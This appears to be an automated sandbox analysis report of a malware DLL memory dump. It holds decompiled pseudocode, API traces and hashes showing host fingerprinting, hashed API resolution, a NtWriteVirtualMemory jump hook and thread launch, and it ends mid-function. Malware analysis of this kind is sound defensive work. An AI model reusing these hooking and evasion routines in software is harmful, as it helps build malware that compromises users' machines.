0x6c4dcbc7
0x6c4dcbc9
0x6c4dcbd2
0x6c4dcbdd
0x6c4dcbe2
0x6c4dcbe6
0x6c4dcbfa
0x6c4dcc02
0x6c4dcc12
0x6c4dcc13
0x6c4dcc18
0x6c4dcc23
0x6c4dcc29
0x6c4dcc31
0x6c4dcc3f
0x6c4dcc45
0x6c4dcc46
0x6c4dcc52
0x6c4dcc59
0x6c4dcc69
0x6c4dcca9
0x6c4dcca9
0x6c4dcc88
0x6c4dcc88
0x6c4dcca7
0x00000000
0x00000000
0x6c4dcca7
0x6c4dcc69
0x6c4dcc23
0x6c4dcbe6
0x6c4dccab
0x6c4dccb2
0x6c4dccb5
0x6c4dccbb
0x6c4dccbb
0x6c4dccc2
0x6c4dccc9
0x6c4dcccc
0x6c4dccd1
0x6c4dccde
0x6c4dcce4
0x6c4dcceb

APIs

Part of subcall function 6C4DC510: LoadLibraryW.KERNEL32 ref: 6C4DC608
Part of subcall function 6C4DC510: memset.MSVCRT ref: 6C4DC647

FreeLibrary.KERNEL32(00000000,?,00000000,00000000), ref: 6C4DCCB5

Part of subcall function 6C4DC702: NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,6C4D5CCD), ref: 6C4DC775
Part of subcall function 6C4DC702: RegisterClassExA.USER32 ref: 6C4DC7C7
Part of subcall function 6C4DC702: CreateWindowExA.USER32 ref: 6C4DC7F2
Part of subcall function 6C4DC702: DestroyWindow.USER32 ref: 6C4DC7FD
Part of subcall function 6C4DC702: UnregisterClassA.USER32(?,00000000), ref: 6C4DC808

memset.MSVCRT ref: 6C4DCBFA
NtProtectVirtualMemory.NTDLL(?,?,?,00000004,00000000), ref: 6C4DCC64
NtWriteVirtualMemory.NTDLL(?,?,000000E9,00000005,?), ref: 6C4DCC81
NtProtectVirtualMemory.NTDLL(?,?,?,00000000,00000000), ref: 6C4DCCA2

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: MemoryVirtual$ClassCreateLibraryProtectWindowmemset$DestroyFreeLoadRegisterSectionUnregisterWrite
String ID:
API String ID: 317994034-0
Opcode ID: 7b96312b6953292ba3a2fbc0b7e6109a579dfa599fb75cf55cbe752f0eafe05d
Instruction ID: 5ca66f0afdd29183bc07e8f0ab2371ca5a65a7d98098b61466fc34c1f9e88815
Opcode Fuzzy Hash: 7b96312b6953292ba3a2fbc0b7e6109a579dfa599fb75cf55cbe752f0eafe05d
Instruction Fuzzy Hash: DE318072A0011AAFEB00EFA9CD98FDEB7BCEF08615F120165E605D3250E730EA45CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6C4DD061, Relevance: 35.3, APIs: 15, Strings: 5, Instructions: 282
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E6C4DD061(void* __fp0) {
				long _v8;
				long _v12;
				union _SID_NAME_USE _v16;
				struct _SYSTEM_INFO _v52;
				char _v180;
				short _v692;
				char _v704;
				char _v2680;
				void* __esi;
				struct _OSVERSIONINFOA* _t81;
				intOrPtr _t83;
				void* _t84;
				long _t86;
				void** _t88;
				intOrPtr _t90;
				intOrPtr _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				void* _t98;
				intOrPtr _t103;
				char* _t105;
				void* _t108;
				intOrPtr _t111;
				long _t115;
				signed int _t117;
				long _t119;
				intOrPtr _t124;
				intOrPtr _t127;
				intOrPtr _t130;
				intOrPtr _t134;
				intOrPtr _t145;
				intOrPtr _t147;
				intOrPtr _t149;
				intOrPtr _t152;
				intOrPtr _t154;
				signed int _t159;
				struct HINSTANCE__* _t162;
				short* _t164;
				intOrPtr _t167;
				WCHAR* _t168;
				char* _t169;
				intOrPtr _t181;
				intOrPtr _t200;
				void* _t215;
				long _t218;
				void* _t219;
				char* _t220;
				struct _OSVERSIONINFOA* _t222;
				void* _t223;
				int* _t224;
				void* _t241;

				_t241 = __fp0;
				_t162 =  *0x6c4ee69c; // 0x6c4d0000
				_t81 = E6C4D85E5(0x1ac4);
				_t222 = _t81;
				if(_t222 == 0) {
					return _t81;
				}
				 *((intOrPtr*)(_t222 + 0x1640)) = GetCurrentProcessId();
				_t83 =  *0x6c4ee684; // 0x21afaa0
				_t84 =  *((intOrPtr*)(_t83 + 0xa0))(_t215);
				_t3 = _t222 + 0x648; // 0x648
				E6C4E2339( *((intOrPtr*)(_t222 + 0x1640)) + _t84, _t3);
				_t5 = _t222 + 0x1644; // 0x1644
				_t216 = _t5;
				_t86 = GetModuleFileNameW(0, _t5, 0x105);
				_t227 = _t86;
				if(_t86 != 0) {
					 *((intOrPtr*)(_t222 + 0x1854)) = E6C4D8F9F(_t216, _t227);
				}
				GetCurrentProcess();
				_t88 = E6C4DBA47(); // executed
				 *(_t222 + 0x110) = _t88;
				_t178 =  *_t88;
				if(E6C4DBBCF( *_t88) == 0) {
					_t90 = E6C4DBAA4(_t178, _t222); // executed
					__eflags = _t90;
					_t181 = (0 | _t90 > 0x00000000) + 1;
					__eflags = _t181;
					 *((intOrPtr*)(_t222 + 0x214)) = _t181;
				} else {
					 *((intOrPtr*)(_t222 + 0x214)) = 3;
				}
				_t12 = _t222 + 0x220; // 0x220, executed
				_t91 = E6C4DE433(_t12); // executed
				 *((intOrPtr*)(_t222 + 0x218)) = _t91;
				_t92 = E6C4DE3F8(_t12); // executed
				 *((intOrPtr*)(_t222 + 0x21c)) = _t92;
				 *(_t222 + 0x224) = _t162;
				_v12 = 0x80;
				_v8 = 0x100;
				_t22 = _t222 + 0x114; // 0x114
				if(LookupAccountSidW(0,  *( *(_t222 + 0x110)), _t22,  &_v12,  &_v692,  &_v8,  &_v16) == 0) {
					GetLastError();
				}
				_t97 =  *0x6c4ee694; // 0x21afbf8
				_t98 =  *((intOrPtr*)(_t97 + 0x3c))(0x1000);
				_t26 = _t222 + 0x228; // 0x228
				 *(_t222 + 0x1850) = 0 | _t98 > 0x00000000;
				GetModuleFileNameW( *(_t222 + 0x224), _t26, 0x105);
				GetLastError();
				_t31 = _t222 + 0x228; // 0x228
				 *((intOrPtr*)(_t222 + 0x434)) = E6C4D8F9F(_t31, _t98);
				_t34 = _t222 + 0x114; // 0x114, executed
				_t103 = E6C4DB7EA(_t34,  &_v692);
				_t35 = _t222 + 0xb0; // 0xb0
				 *((intOrPtr*)(_t222 + 0xac)) = _t103;
				_push(_t35);
				E6C4DB6BF(_t103, _t35, _t98, _t241);
				_t37 = _t222 + 0xb0; // 0xb0
				_t105 = _t37;
				_t38 = _t222 + 0xd0; // 0xd0
				_t164 = _t38;
				if(_t105 != 0) {
					_t159 = MultiByteToWideChar(0, 0, _t105, 0xffffffff, _t164, 0x20);
					if(_t159 > 0) {
						_t164[_t159] = 0;
					}
				}
				_t41 = _t222 + 0x438; // 0x438
				_t42 = _t222 + 0x228; // 0x228
				E6C4D8FB9(_t42, _t41);
				_t43 = _t222 + 0xb0; // 0xb0
				_t108 = E6C4DD442(_t43, E6C4DC3BB(_t43), 0);
				_t44 = _t222 + 0x100c; // 0x100c
				E6C4DB8CC(_t108, _t44, _t241);
				_t199 = GetCurrentProcess(); // executed
				_t111 = E6C4DBC21(_t110); // executed
				 *((intOrPtr*)(_t222 + 0x101c)) = _t111;
				memset(_t222, 0, 0x9c);
				_t224 = _t223 + 0xc;
				_t222->dwOSVersionInfoSize = 0x9c;
				GetVersionExA(_t222);
				_t167 =  *0x6c4ee684; // 0x21afaa0
				_t115 = 0;
				_v8 = 0;
				if( *((intOrPtr*)(_t167 + 0x6c)) != 0) {
					 *((intOrPtr*)(_t167 + 0x6c))(GetCurrentProcess(),  &_v8);
					_t115 = _v8;
				}
				 *((intOrPtr*)(_t222 + 0xa8)) = _t115;
				if(_t115 == 0) {
					GetSystemInfo( &_v52);
					_t117 = _v52.dwOemId & 0x0000ffff;
				} else {
					_t117 = 9;
				}
				_t54 = _t222 + 0x1020; // 0x1020
				_t168 = _t54;
				 *(_t222 + 0x9c) = _t117;
				GetWindowsDirectoryW(_t168, 0x104);
				_t119 = E6C4D95C2(_t199, 0x10c);
				_t200 =  *0x6c4ee684; // 0x21afaa0
				_t218 = _t119;
				 *_t224 = 0x104;
				_push( &_v704);
				_push(_t218);
				_v8 = _t218;
				if( *((intOrPtr*)(_t200 + 0xe0))() == 0) {
					_t154 =  *0x6c4ee684; // 0x21afaa0
					 *((intOrPtr*)(_t154 + 0xfc))(_t218, _t168);
				}
				E6C4D85B6( &_v8);
				_t124 =  *0x6c4ee684; // 0x21afaa0
				_t61 = _t222 + 0x1434; // 0x1434
				_t219 = _t61;
				 *_t224 = 0x209;
				_push(_t219);
				_push(L"USERPROFILE");
				if( *((intOrPtr*)(_t124 + 0xe0))() == 0) {
					E6C4D9621(_t219, 0x105, L"%s\\%s", _t168);
					_t152 =  *0x6c4ee684; // 0x21afaa0
					_t224 =  &(_t224[5]);
					 *((intOrPtr*)(_t152 + 0xfc))(L"USERPROFILE", _t219, "TEMP");
				}
				_push(0x20a);
				_t64 = _t222 + 0x122a; // 0x122a
				_t169 = L"TEMP";
				_t127 =  *0x6c4ee684; // 0x21afaa0
				_push(_t169);
				if( *((intOrPtr*)(_t127 + 0xe0))() == 0) {
					_t149 =  *0x6c4ee684; // 0x21afaa0
					 *((intOrPtr*)(_t149 + 0xfc))(_t169, _t219);
				}
				_push(0x40);
				_t220 = L"SystemDrive";
				_push( &_v180);
				_t130 =  *0x6c4ee684; // 0x21afaa0
				_push(_t220);
				if( *((intOrPtr*)(_t130 + 0xe0))() == 0) {
					_t147 =  *0x6c4ee684; // 0x21afaa0
					 *((intOrPtr*)(_t147 + 0xfc))(_t220, L"C:");
				}
				_v8 = 0x7f;
				_t72 = _t222 + 0x199c; // 0x199c
				_t134 =  *0x6c4ee684; // 0x21afaa0
				 *((intOrPtr*)(_t134 + 0xb0))(_t72,  &_v8);
				_t75 = _t222 + 0x100c; // 0x100c
				E6C4E2339(E6C4DD442(_t75, E6C4DC3BB(_t75), 0),  &_v2680);
				_t76 = _t222 + 0x1858; // 0x1858
				E6C4E230B( &_v2680, _t76, 0x20);
				_t79 = _t222 + 0x1878; // 0x1878
				E6C4D900E(1, _t79, 0x14, 0x1e,  &_v2680);
				_t145 = E6C4DCD75(_t79); // executed
				 *((intOrPtr*)(_t222 + 0x1898)) = _t145;
				return _t222;
			}

0x6c4dd061
0x6c4dd06b
0x6c4dd077
0x6c4dd07c
0x6c4dd081
0x6c4dd441
0x6c4dd441
0x6c4dd08e
0x6c4dd094
0x6c4dd099
0x6c4dd09f
0x6c4dd0af
0x6c4dd0bb
0x6c4dd0bb
0x6c4dd0c4
0x6c4dd0ca
0x6c4dd0cc
0x6c4dd0d5
0x6c4dd0d5
0x6c4dd0e1
0x6c4dd0e5
0x6c4dd0ea
0x6c4dd0f0
0x6c4dd0f9
0x6c4dd107
0x6c4dd10e
0x6c4dd113
0x6c4dd113
0x6c4dd114
0x6c4dd0fb
0x6c4dd0fb
0x6c4dd0fb
0x6c4dd11a
0x6c4dd120
0x6c4dd125
0x6c4dd12b
0x6c4dd133
0x6c4dd13d
0x6c4dd14a
0x6c4dd155
0x6c4dd15d
0x6c4dd17e
0x6c4dd180
0x6c4dd180
0x6c4dd182
0x6c4dd18c
0x6c4dd198
0x6c4dd1a8
0x6c4dd1ae
0x6c4dd1b4
0x6c4dd1b6
0x6c4dd1c7
0x6c4dd1cd
0x6c4dd1d3
0x6c4dd1d8
0x6c4dd1de
0x6c4dd1e4
0x6c4dd1e9
0x6c4dd1ee
0x6c4dd1ee
0x6c4dd1f4
0x6c4dd1f4
0x6c4dd1fd
0x6c4dd209
0x6c4dd211
0x6c4dd215
0x6c4dd215
0x6c4dd211
0x6c4dd219
0x6c4dd21f
0x6c4dd225
0x6c4dd22c
0x6c4dd23d
0x6c4dd243
0x6c4dd24b
0x6c4dd252
0x6c4dd254
0x6c4dd265
0x6c4dd26b
0x6c4dd270
0x6c4dd273
0x6c4dd276
0x6c4dd27c
0x6c4dd282
0x6c4dd284
0x6c4dd28a
0x6c4dd293
0x6c4dd296
0x6c4dd296
0x6c4dd299
0x6c4dd2a1
0x6c4dd2ac
0x6c4dd2b2
0x6c4dd2a3
0x6c4dd2a5
0x6c4dd2a5
0x6c4dd2bb
0x6c4dd2bb
0x6c4dd2c1
0x6c4dd2c9
0x6c4dd2d4
0x6c4dd2d9
0x6c4dd2df
0x6c4dd2e1
0x6c4dd2ee
0x6c4dd2ef
0x6c4dd2f0
0x6c4dd2fb
0x6c4dd2fd
0x6c4dd304
0x6c4dd304
0x6c4dd30e
0x6c4dd313
0x6c4dd318
0x6c4dd318
0x6c4dd31e
0x6c4dd325
0x6c4dd326
0x6c4dd333
0x6c4dd346
0x6c4dd34b
0x6c4dd350
0x6c4dd359
0x6c4dd359
0x6c4dd35f
0x6c4dd364
0x6c4dd36a
0x6c4dd370
0x6c4dd375
0x6c4dd37e
0x6c4dd380
0x6c4dd387
0x6c4dd387
0x6c4dd38d
0x6c4dd395
0x6c4dd39a
0x6c4dd39b
0x6c4dd3a0
0x6c4dd3a9
0x6c4dd3ab
0x6c4dd3b6
0x6c4dd3b6
0x6c4dd3bf
0x6c4dd3c7
0x6c4dd3ce
0x6c4dd3d3
0x6c4dd3e2
0x6c4dd3fa
0x6c4dd401
0x6c4dd40f
0x6c4dd421
0x6c4dd428
0x6c4dd430
0x6c4dd435
0x00000000

APIs

Part of subcall function 6C4D85E5: HeapAlloc.KERNEL32(00000008,?,?,6C4D8F65,00000100,?,6C4D5FAC), ref: 6C4D85F3

GetCurrentProcessId.KERNEL32 ref: 6C4DD088
GetModuleFileNameW.KERNEL32(00000000,00001644,00000105), ref: 6C4DD0C4
GetCurrentProcess.KERNEL32 ref: 6C4DD0E1
LookupAccountSidW.ADVAPI32(00000000,?,00000114,00000080,?,?,?), ref: 6C4DD173
GetLastError.KERNEL32 ref: 6C4DD180
GetModuleFileNameW.KERNEL32(?,00000228,00000105), ref: 6C4DD1AE
GetLastError.KERNEL32 ref: 6C4DD1B4
MultiByteToWideChar.KERNEL32(00000000,00000000,000000B0,000000FF,000000D0,00000020), ref: 6C4DD209
GetCurrentProcess.KERNEL32 ref: 6C4DD250

Part of subcall function 6C4DBAA4: CloseHandle.KERNEL32(?,00000000,74EC17D9,6C4D0000), ref: 6C4DBB48

memset.MSVCRT ref: 6C4DD26B
GetVersionExA.KERNEL32(00000000), ref: 6C4DD276
GetCurrentProcess.KERNEL32(00000100), ref: 6C4DD290
IsWow64Process.KERNEL32(00000000), ref: 6C4DD293
GetSystemInfo.KERNEL32(?), ref: 6C4DD2AC
GetWindowsDirectoryW.KERNEL32(00001020,00000104), ref: 6C4DD2C9

Strings

SystemDrive, xrefs: 6C4DD395, 6C4DD3A0, 6C4DD3B5
USERPROFILE, xrefs: 6C4DD326, 6C4DD354
TEMP, xrefs: 6C4DD36A, 6C4DD375, 6C4DD386
TEMP, xrefs: 6C4DD335
%s\%s, xrefs: 6C4DD33B

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$Current$ErrorFileLastModuleName$AccountAllocByteCharCloseDirectoryHandleHeapInfoLookupMultiSystemVersionWideWindowsWow64memset
String ID: %s\%s$SystemDrive$TEMP$TEMP$USERPROFILE
API String ID: 2155830292-2706916422
Opcode ID: 655c651d55c5314a532854a0e7c8ea3bd041aa8eb12eb3db6491501ae805fa16
Instruction ID: a4b398b7515c3fe46a9cfd5d402cdcb54fb481bbe78b90c5e7041fbbd46de86f
Opcode Fuzzy Hash: 655c651d55c5314a532854a0e7c8ea3bd041aa8eb12eb3db6491501ae805fa16
Instruction Fuzzy Hash: 9EB17E71600705AFDB10EF74C898FEA77F8EF09305F02486DE55AD7681EB70A9488BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C4D5F63, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 104
threadCOMMON

Download Yara Rule

C-Code - Quality: 82%

			_entry_(void* __edx, struct HINSTANCE__* _a4, WCHAR* _a8) {
				long _v8;
				char _v16;
				short _v144;
				short _v664;
				void* _t19;
				struct HINSTANCE__* _t22;
				long _t23;
				long _t24;
				char* _t27;
				WCHAR* _t32;
				long _t33;
				void* _t38;
				void* _t49;
				struct _SECURITY_ATTRIBUTES* _t53;
				void* _t54;
				intOrPtr* _t55;
				void* _t57;

				_t49 = __edx;
				OutputDebugStringA("Hello qqq"); // executed
				if(_a8 != 1) {
					if(_a8 != 0) {
						L12:
						return 1;
					}
					SetLastError(0xaa);
					L10:
					return 0;
				}
				E6C4D85D0();
				_t19 = E6C4D97ED( &_v16);
				_t57 = _t49;
				if(_t57 < 0 || _t57 <= 0 && _t19 < 0x2e830) {
					goto L12;
				} else {
					E6C4D8F59();
					GetModuleHandleA(0);
					_t22 = _a4;
					 *0x6c4ee69c = _t22;
					_t23 = GetModuleFileNameW(_t22,  &_v664, 0x104);
					_t24 = GetLastError();
					if(_t23 != 0 && _t24 != 0x7a) {
						memset( &_v144, 0, 0x80);
						_t55 = _t54 + 0xc;
						_t53 = 0;
						do {
							_t27 = E6C4D95A8(_t53);
							_a8 = _t27;
							MultiByteToWideChar(0, 0, _t27, 0xffffffff,  &_v144, 0x3f);
							E6C4D85A3( &_a8);
							_t53 =  &(_t53->nLength);
						} while (_t53 < 0x2710);
						E6C4E2A93( *0x6c4ee69c);
						 *_t55 = 0x7c3;
						 *0x6c4ee684 = E6C4DE1FE(0x6c4eba20, 0x11c);
						 *_t55 = 0xb4e;
						_t32 = E6C4D95C2(0x6c4eba20);
						_a8 = _t32;
						_t33 = GetFileAttributesW(_t32); // executed
						_push( &_a8);
						if(_t33 == 0xffffffff) {
							E6C4D85B6();
							_v8 = 0;
							_t38 = CreateThread(0, 0, E6C4D5DE7, 0, 0,  &_v8);
							 *0x6c4ee6a8 = _t38;
							if(_t38 == 0) {
								goto L10;
							}
							goto L12;
						}
						E6C4D85B6();
					}
					goto L10;
				}
			}

0x6c4d5f63
0x6c4d5f73
0x6c4d5f7d
0x6c4d60b1
0x6c4d60a4
0x00000000
0x6c4d60a6
0x6c4d60b8
0x6c4d6079
0x00000000
0x6c4d6079
0x6c4d5f83
0x6c4d5f8b
0x6c4d5f92
0x6c4d5f94
0x00000000
0x6c4d5fa7
0x6c4d5fa7
0x6c4d5fad
0x6c4d5fb3
0x6c4d5fc3
0x6c4d5fc8
0x6c4d5fd0
0x6c4d5fd8
0x6c4d5ff4
0x6c4d5ff9
0x6c4d5ffc
0x6c4d5ffe
0x6c4d6000
0x6c4d600d
0x6c4d6016
0x6c4d601f
0x6c4d6024
0x6c4d6025
0x6c4d6033
0x6c4d603d
0x6c4d604e
0x6c4d6053
0x6c4d605a
0x6c4d6061
0x6c4d6064
0x6c4d6070
0x6c4d6071
0x6c4d607d
0x6c4d6086
0x6c4d6098
0x6c4d609b
0x6c4d60a2
0x00000000
0x00000000
0x00000000
0x6c4d60a2
0x6c4d6073
0x6c4d6078
0x00000000
0x6c4d5fd8

APIs

OutputDebugStringA.KERNEL32(Hello qqq), ref: 6C4D5F73
SetLastError.KERNEL32(000000AA), ref: 6C4D60B8

Part of subcall function 6C4D85D0: HeapCreate.KERNEL32(00000000,00080000,00000000,6C4D5F88), ref: 6C4D85D9

Part of subcall function 6C4D97ED: GetSystemTimeAsFileTime.KERNEL32(?,?,6C4D5F90), ref: 6C4D97FA
Part of subcall function 6C4D97ED: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C4D981A

GetModuleHandleA.KERNEL32(00000000), ref: 6C4D5FAD
GetModuleFileNameW.KERNEL32(?,?,00000104), ref: 6C4D5FC8
GetLastError.KERNEL32 ref: 6C4D5FD0
memset.MSVCRT ref: 6C4D5FF4
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,0000003F), ref: 6C4D6016
GetFileAttributesW.KERNEL32(00000000), ref: 6C4D6064
CreateThread.KERNEL32(00000000,00000000,6C4D5DE7,00000000,00000000,?), ref: 6C4D6098

Strings

Hello qqq, xrefs: 6C4D5F6E

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: File$CreateErrorLastModuleTime$AttributesByteCharDebugHandleHeapMultiNameOutputStringSystemThreadUnothrow_t@std@@@Wide__ehfuncinfo$??2@memset
String ID: Hello qqq
API String ID: 3435743081-3610097158
Opcode ID: c05ce353b63cf07b290982874c40586cc18445fa96dccb73e6e46ffea36ff2af
Instruction ID: 7ba5443d6b2475d19ab07449f8581b9fccc23287cfc3e1c577e6e3e62a5baf96
Opcode Fuzzy Hash: c05ce353b63cf07b290982874c40586cc18445fa96dccb73e6e46ffea36ff2af
Instruction Fuzzy Hash: A031C6B1A00104ABDF51FB74C868EEE37B8EF45729F13851EE415D6680DF34A949CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6C51AFC0, Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 262memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32(6C54E920,0000051D), ref: 6C51B1EF
VirtualProtect.KERNEL32(6C54F420,00005016,00000040,6C54F424), ref: 6C51B230
GetWindowsDirectoryW.KERNEL32(6C54E920,0000051D), ref: 6C51B3DC

Strings

@, xrefs: 6C51AFCE
+JAA, xrefs: 6C51B001, 6C51B016, 6C51B04F, 6C51B055, 6C51B25D, 6C51B292
B, xrefs: 6C51AFC7

Memory Dump Source

Source File: 00000006.00000002.584237151.000000006C4F1000.00000020.00020000.sdmp, Offset: 6C4F1000, based on PE: false

Similarity

API ID: DirectoryWindows$ProtectVirtual
String ID: +JAA$@$B
API String ID: 1258730550-3055704029
Opcode ID: 3c5cbadf01cb69a3ab853481f9bb693ad9cd0cfce1e0bb22beaec0c8fd86c3d6
Instruction ID: 71bde04a4e642ac60c14e4399288b27c3912eea1a69d0858196933671cd86d69
Opcode Fuzzy Hash: 3c5cbadf01cb69a3ab853481f9bb693ad9cd0cfce1e0bb22beaec0c8fd86c3d6
Instruction Fuzzy Hash: D5D137B670A1949FDB09EF28CDA96687BB1FB8630CB06D1ADD449C7749C3349680DB1C

Uniqueness

Uniqueness Score: -1.00%

Function 6C4DDFEF, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 95
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6C4DDFEF(void* __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				char _v92;
				intOrPtr _t41;
				signed int _t47;
				signed int _t49;
				signed int _t51;
				void* _t56;
				struct HINSTANCE__* _t58;
				_Unknown_base(*)()* _t59;
				intOrPtr _t60;
				void* _t62;
				intOrPtr _t63;
				void* _t69;
				char _t70;
				void* _t75;
				CHAR* _t80;
				void* _t82;

				_t75 = __ecx;
				_v12 = __edx;
				_t60 =  *((intOrPtr*)(__ecx + 0x3c));
				_t41 =  *((intOrPtr*)(_t60 + __ecx + 0x78));
				if(_t41 == 0) {
					L4:
					return 0;
				}
				_t62 = _t41 + __ecx;
				_v24 =  *((intOrPtr*)(_t62 + 0x24)) + __ecx;
				_t73 =  *((intOrPtr*)(_t62 + 0x20)) + __ecx;
				_t63 =  *((intOrPtr*)(_t62 + 0x18));
				_v28 =  *((intOrPtr*)(_t62 + 0x1c)) + __ecx;
				_t47 = 0;
				_v20 =  *((intOrPtr*)(_t62 + 0x20)) + __ecx;
				_v8 = 0;
				_v16 = _t63;
				if(_t63 == 0) {
					goto L4;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t49 = E6C4DD442( *((intOrPtr*)(_t73 + _t47 * 4)) + _t75, E6C4DC3BB( *((intOrPtr*)(_t73 + _t47 * 4)) + _t75), 0);
					_t18 =  &_v8; // 0x6c4d604e
					_t51 =  *_t18;
					if((_t49 ^ 0x218fe95b) == _v12) {
						break;
					}
					_t73 = _v20;
					_t47 = _t51 + 1;
					_v8 = _t47;
					if(_t47 < _v16) {
						continue;
					}
					goto L4;
				}
				_t23 =  &_v28; // 0x6c4de23d
				_t69 =  *((intOrPtr*)(_t60 + _t75 + 0x78)) + _t75;
				_t80 =  *((intOrPtr*)( *_t23 + ( *(_v24 + _t51 * 2) & 0x0000ffff) * 4)) + _t75;
				if(_t80 < _t69 || _t80 >=  *((intOrPtr*)(_t60 + _t75 + 0x7c)) + _t69) {
					return _t80;
				} else {
					_t56 = 0;
					while(1) {
						_t70 = _t80[_t56];
						if(_t70 == 0x2e || _t70 == 0) {
							break;
						}
						 *((char*)(_t82 + _t56 - 0x58)) = _t70;
						_t56 = _t56 + 1;
						if(_t56 < 0x40) {
							continue;
						}
						break;
					}
					 *((intOrPtr*)(_t82 + _t56 - 0x58)) = 0x6c6c642e;
					 *((char*)(_t82 + _t56 - 0x54)) = 0;
					if( *((char*)(_t56 + _t80)) != 0) {
						_t80 =  &(( &(_t80[1]))[_t56]);
					}
					_t40 =  &_v92; // 0x6c6c642e
					_t58 = LoadLibraryA(_t40); // executed
					if(_t58 == 0) {
						goto L4;
					}
					_t59 = GetProcAddress(_t58, _t80);
					if(_t59 == 0) {
						goto L4;
					}
					return _t59;
				}
			}

0x6c4ddff8
0x6c4ddffa
0x6c4ddffd
0x6c4de000
0x6c4de006
0x6c4de063
0x00000000
0x6c4de063
0x6c4de008
0x6c4de013
0x6c4de016
0x6c4de01b
0x6c4de020
0x6c4de023
0x6c4de025
0x6c4de028
0x6c4de02b
0x6c4de030
0x00000000
0x00000000
0x00000000
0x00000000
0x6c4de032
0x6c4de032
0x6c4de044
0x6c4de051
0x6c4de051
0x6c4de055
0x00000000
0x00000000
0x6c4de057
0x6c4de05a
0x6c4de05b
0x6c4de061
0x00000000
0x00000000
0x00000000
0x6c4de061
0x6c4de06d
0x6c4de078
0x6c4de07d
0x6c4de081
0x00000000
0x6c4de08d
0x6c4de08d
0x6c4de08f
0x6c4de08f
0x6c4de095
0x00000000
0x00000000
0x6c4de09b
0x6c4de09f
0x6c4de0a3
0x00000000
0x00000000
0x00000000
0x6c4de0a3
0x6c4de0a9
0x6c4de0b1
0x6c4de0b6
0x6c4de0b9
0x6c4de0b9
0x6c4de0bb
0x6c4de0bf
0x6c4de0c7
0x00000000
0x00000000
0x6c4de0cb
0x6c4de0d3
0x00000000
0x00000000
0x00000000
0x6c4de0d3

APIs

LoadLibraryA.KERNEL32(.dll), ref: 6C4DE0BF
GetProcAddress.KERNEL32(00000000,=Ml), ref: 6C4DE0CB

Strings

.dll, xrefs: 6C4DE0BB, 6C4DE0BE
=Ml, xrefs: 6C4DE06D, 6C4DE0C9
N`Ml, xrefs: 6C4DE051
N`Ml, xrefs: 6C4DDFF7

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll$=Ml$N`Ml$N`Ml
API String ID: 2574300362-1597037606
Opcode ID: 9d155e57f8e15fa8cb994b24f36892dc792caab5faedc8b99fb794f19fb6e5e0
Instruction ID: c355e3125264915ec4ea687b7cd2be049e029de88177bf955ce019798dd2dc90
Opcode Fuzzy Hash: 9d155e57f8e15fa8cb994b24f36892dc792caab5faedc8b99fb794f19fb6e5e0
Instruction Fuzzy Hash: 5531C031A011698BDB16EFA9C8D0FAEFBF5AF44309F260469C814E7741DA30E941CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6C4DB7EA, Relevance: 9.1, APIs: 6, Instructions: 83
stringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E6C4DB7EA(WCHAR* __ecx, void* __edx) {
				long _v8;
				long _v12;
				WCHAR* _v16;
				short _v528;
				short _v1040;
				short _v1552;
				WCHAR* _t27;
				signed int _t29;
				void* _t33;
				long _t38;
				WCHAR* _t43;
				WCHAR* _t56;

				_t44 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t43 = __edx;
				_t56 = __ecx;
				memset(__edx, 0, 0x100);
				_v12 = 0x100;
				GetComputerNameW( &_v528,  &_v12);
				lstrcpynW(_t43,  &_v528, 0x100);
				_t27 = E6C4D95C2(_t44, 0xa88);
				_v16 = _t27;
